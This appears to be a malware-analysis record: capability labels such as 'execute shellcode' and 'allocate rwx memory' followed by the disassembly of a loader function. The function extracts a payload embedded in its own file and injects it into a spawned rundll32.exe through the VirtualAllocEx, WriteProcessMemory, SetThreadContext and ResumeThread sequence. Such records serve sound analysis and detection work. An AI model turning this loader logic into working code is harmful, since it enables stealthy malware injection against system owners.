Function at 0x401720
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x15a58
call fcn.00403260
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0x401250
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0x104
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x21c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.00402554
add esp, 4
mov edi, eax
lea eax, [ebp - 0x21c]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
push 0x404274
lea eax, [ebp - 0x15a38]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
jne 0x401a5a
mov eax, dword [ebp - 0x15a38]
test eax, eax
je 0x401a5a
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push eax
call esi
push dword [ebp - 0x15a38]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push dword [ebp - 0x15a38]
mov edi, eax
call esi
push edi
call fcn.00402554
push dword [ebp - 0x15a38]
mov esi, eax
push edi
push 1
push esi
mov dword [ebp - 0x15a50], esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push dword [ebp - 0x15a38]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea eax, [edi - 0xf]
mov dword [ebp - 0x14], 0x20f64d7b
add esp, 0x34
mov dword [ebp - 0x10], 0xf1255abd
xor ebx, ebx
mov dword [ebp - 0xc], 0x263edbe
mov dword [ebp - 8], 0xc52bd6f4
mov dword [ebp - 0x15a54], eax
test eax, eax
jle 0x40190c
lea eax, [esi + 0x10]
mov dword [ebp - 0x15a58], eax
add eax, ebx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x15a4c], eax
mov esi, 0xc
lea ecx, [eax - 0x10]
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x4018f8
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401870
xor esi, esi
test edi, edi
jle 0x4018e9
cmp edi, 0x10
jb 0x4018c4
mov ecx, dword [ebp - 0x15a50]
lea eax, [edi + ebx]
add ecx, 0xf
add eax, ecx
lea ecx, [ebp - 0x15720]
cmp ecx, eax
mov ecx, dword [ebp - 0x15a4c]
ja 0x4018b9
lea eax, [ebp + edi - 0x15721]
cmp eax, ecx
jae 0x4018c4
push edi
push ecx
lea eax, [ebp - 0x15720]
push eax
jmp 0x4018e1
mov ecx, dword [ebp - 0x15a50]
lea eax, [esi + ebx]
add ecx, 0x10
lea edx, [ebp - 0x15720]
add ecx, eax
add edx, esi
mov eax, edi
sub eax, esi
push eax
push ecx
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push dword [ebp - 0x15a38]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov eax, dword [ebp - 0x15a58]
inc ebx
dec edi
cmp ebx, dword [ebp - 0x15a54]
jl 0x401854
push 0x40
push 0x3000
push 0x15502
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x15720]
push 0x15502
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x15724], 0
lea eax, [ebp - 0x15a48]
mov dword [ebp - 0x15768], 0x44
xorps xmm0, xmm0
movlpd qword [ebp - 0x15764], xmm0
push eax
lea eax, [ebp - 0x15768]
movlpd qword [ebp - 0x1575c], xmm0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push str.rundll32.exe
push 0
movlpd qword [ebp - 0x15754], xmm0
movlpd qword [ebp - 0x1574c], xmm0
movlpd qword [ebp - 0x15744], xmm0
movlpd qword [ebp - 0x1573c], xmm0
movlpd qword [ebp - 0x15734], xmm0
movlpd qword [ebp - 0x1572c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a4b
lea eax, [ebp - 0x15a34]
mov dword [ebp - 0x15a34], 0x10003
push eax
push dword [ebp - 0x15a44]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 0x15502
push 0
push dword [ebp - 0x15a48]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
lea eax, [ebp - 0x15724]
push eax
push 0x15502
push edi
push esi
push dword [ebp - 0x15a48]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x15a34]
mov dword [ebp - 0x1597c], esi
push eax
push dword [ebp - 0x15a44]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x15a44]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x15a44]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x15a48]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402508
mov esp, ebp
pop ebp
ret